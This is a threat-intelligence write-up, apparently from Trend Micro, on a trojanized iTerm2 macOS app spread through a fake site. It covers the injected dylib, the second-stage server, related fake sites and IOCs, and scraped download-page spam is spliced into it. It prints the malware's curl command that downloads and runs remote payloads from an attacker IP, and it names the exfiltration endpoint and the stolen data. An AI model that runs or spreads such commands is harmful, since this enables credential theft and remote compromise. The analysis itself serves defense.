Download the latest version of iTerm for Mac for free. Read 35 user reviews and compare with similar apps on MacUpdate. 駄文な駄文 - もしくはBlogのように見えるモノ.
Earlier this month,a user on Chinese question-and-answer website Zhihu reportedthat a search engine result for the keyword 'iTerm2' led to a fake website calleditem2.netthat mimics the legitimateiterm2.com(Figure 1). A fake version of the iTerm2 app, a macOS terminal emulator, can be downloaded from a link found initerm2.net. When this app is executed, it downloads and runsg.py, a malicious Python script from 47[.]75[.]123[.]111. This malware, which Trend Micro has detected as TrojanSpy.Python.ZURU.A, collects private data from a victim's machine.
Figure 1. The fraudulent website iterm2.net
Objective-see previouslypublished a blog entryabout this malware, which analyzed how the threat actor repacks the iTerm2 app to load the maliciouslibcrypto.2.dylib. This, in turn, downloads and runs other components, including the aforementionedg.pyscript and a Mach-O file called 'GoogleUpdate' that contains a Cobalt Strike beacon payload. This blog entry covers the malware's details.
The trojanized app
As of September 15,iterm2.netis still active. However, the malicious file is not hosted on this website directly. Instead, the website contains a link,hxxp://www.kaidingle.com/iTerm/iTerm.dmg, from which users are able to download a macOS disk image file (DMG) callediTerm.dmg. The user is redirected to this download URL foriTerm.dmgregardless of the app version the user selects to download from the fake website; the realiterm2.comwebsite has different URLs and files for various versions. The files that are downloaded from the legitimate website come in a ZIP file format, as opposed to the DMG file from the fraudulent website, as shown in Figure 2.
Figure 2. The file downloaded from the fake website (left) and the official website (right)
Comparing the folder structure of the DMG and ZIP files shows numerous differences between them:
- All the Mach-O files in the trojanized iTerm2 app were signed with an Apple Distribution certificate, as shown in Figure 3, whereas files in the legitimate iTerm2.app are code signed with a Developer ID Application certificate. According to Apple documentation, an Apple Distribution certificate is only used to sign an app before the developer delivers it to the App Store, so apps downloaded from the App Store generally don't have an Apple Distribution certificate.
Figure 3. Trojanized iTerm2 app code signing
- The trojanized iTerm2 app contains a file calledlibcrypto.2.dylib(with a SHA-256 hash of 2c269ff4216dc6a14fd81ffe541994531b23a1d8e0fbd75b9316a9fa0e0d5fef) in its Frameworks folder, which does not exist in the legitimate version, as shown in Figure 4.
Figure 4. The libcrypto.2.lib file added in the trojanized iTerm2 app
- In the trojanized iTerm2 app, the main Mach-O file has an additional load command calledLC_LOAD_DYLIBthat loads thelibcrypto.2.dylibfile, shown in Figure 5.
Figure 5. The load command LC_LOAD_DYLIB loads the file libcrypto.2.dylib
According to Objective-see's blog post, the malicious codes contained in thelibcrypto.2.dylibfile are executed automatically when the victim runs the trojanized iTerm2 app. This is a clever method for repacking legitimate apps that we have not seen before.
Once executed, the malware connects to its server and receives these instructions from it:
Download ITerm For Mac 3.4.10 Pro
- 'curl -sfo /tmp/g.py http://47[.]75[.]123[.]111/g.py && chmod 777 /tmp/g.py && python /tmp/g.py && curl -sfo /tmp/GoogleUpdate http://47[.]75[.]123[.]111/GoogleUpdate && chmod 777 /tmp/GoogleUpdate && /tmp/GoogleUpdate'
- Download theg.pyscript to the folder/tmp/g.pyand execute it
- Download 'GoogleUpdate' to the folder/tmp/GoogleUpdateand execute it
The Python scriptg.pycollects the following system data and files from the victim's machine, which the script then sends to the server:
- Operating system information
- Installed applications
- Copies of these files and folders:
- ~/Library/Application Support/VanDyke/SecureCRT/Config/
- The contents of these directories:
Other trojanized apps and fake sites
Further analysis of the trojanized iTerm2 app's Apple Distribution certificate led us to find similar trojanized apps on VirusTotal (Table 1), all of which were trojanized using the same method.
Table 1. Other trojanized apps found on VirusTotal
Microsoft Remote Desktop.dmg
Searching VirusTotal for the Secure Sockets Layer (SSL) thumbprint thatiterm2.netused revealed several other fraudulent websites. As shown in Figure 6, all of these websites resolved to the same IP address, 43[.]129[.]218[.]115.
Figure 6. Other fake websites found on VirusTotal
We were able to access one of these fake websites,snailsvn.cn, but the download link on its page was empty at that time, so it remains uncertain whether this website had been used to distribute a trojanized version of SnailSVN, an Apache Subversion (SVN) client for Mac OS X, in the wild (Figure 7). However, all of these domains were inaccessible at the time of writing.
Figure 7. The fake SnailSVN website
The server used for hosting the trojanized packages,kaidingle[.]com, was registered on September 7, and is currently still active. According to VirusTotal, apart fromiterm.dmg, it also hosts other DMG files such asSecureCTR.dmgandNavicat15_cn.dmg(Figure 8). As of September 18, the latter two DMG files can still be downloaded from the server.
Figure 8. URLs relating with download server
Based on the server's information on WHOIS, a query and response protocol, there are four other domains under the same registrant (Figure 9). However, so far, none of these domains show any indication that they're related to any malware.
Figure 9. Other domains from the same registrant
VirusTotal recorded multiple URLs related to a second-stage server under the IP address 47[.]75[.]123[.]111 - the same address as that of the maliciousg.pyscript - from September 8 to 17, as shown in Figure 10.
Figure 10. URLs under the second-stage server
Besides theg.pyscript and 'GoogleUpdate' components that are part of the trojanized iTerm app malware routine, the second-stage server also hosts four other Mach-O files that are used as post-penetration tools (Table 2).
Table 2. Other Mach-O files hosted in the second-stage server
|An open source intranet penetration scanner framework|
|A tool for port forward and intranet proxy|
|Netscan scans a network for ports that are open on an IP/IP range, and IP addressess that are in use on that network|
Notably, the IP address of the second-stage server is similar to the one 'GoogleUpdate' connects to, which is 47[.]75[.]96[.]198. Both of these IP addresses are hosted by Alibaba Hong Kong. As shown in Figure 11, the URLs under 47[.]75[.]96[.]198 were registered around the same time as those in the second-stage server, which suggests that these two servers may have been set up by same threat actor.
Figure 11. URLs under the same server as 'GoogleUpdate'
Download ITerm For Mac 3.4.10 Full
As detailed in the aforementioned user report, the first item from the search engine results is under the subdomainrjxz.jxhwst.top. Searching for this address in Google generates two results that lead only to their cache (Figure 12), and as of this writing, their actual pages are already down.
Figure 12. Google caches of the two fake sites
The first search result, called 'Microsoft Remote Desktop,' has an address ofhxxp://rjxz.jxhwst.top/3, but based on its cache (Figure 13) and source code (Figure 14), we found that it redirected visitors to a fake website,hxxp://remotedesktop.vip.
Figure 13. The cache of the fake 'Microsoft Remote Desktop' page
Figure 14. The source code of the fake page
Upon checking its main page, we discovered that the second-level domainjxhwst.topbelongs to an agriculture company north of China. Apart from the subdomainrjxz.jxhwst.top, this second-level domain has 44 other subdomains, almost all of which are used for advertisements that have no relation to the agriculture company (Figure 15). It is possible that the company rents out these subdomains to others for advertising purposes, but cannot prevent them from being used for illegal purposes. If this is the case, the threat actor rents the subdomain for malware distribution.
Figure 15. The subdomains of the agriculture company
To protect systems from threats like these, end users should only download apps from official and legitimate marketplaces. They should be careful about the search results from search engines, and always double-check URLs to make sure these really point to the official sites. Mac users can consider multilayered security solutions such asTrend Micro Antivirus for Mac®, which provides enhanced anti-scam protection that flags and blocks scam websites that attempt to steal their personal data. They may also avail of Antivirus for Mac as part ofTrend Micro Maximum Security, a multi-platform solution that offers comprehensive security and multidevice protection against cyberthreats.
Indicators of Compromise (IOCs)
Microsoft Remote Desktop.dmg
MITRE Tactics, Techniques, and Procedures (TTPs)
Executes the repackaged iTerm2 app will launch the malwaredylib libcrypt.2.dylib
Strings in malwaredylibare AES and Base64 encoded
Malware is a malware dylib inserted in a repackaged iterm2 app
Collects various information and adds it to zip archive
Collects system information, bash history and login keychain information
Collects contents of /Library/Application Support/VanDyke/SecureCRT/Config
Files are exfiltrated to hxxp://47[.]75[.]123[.]111/u.php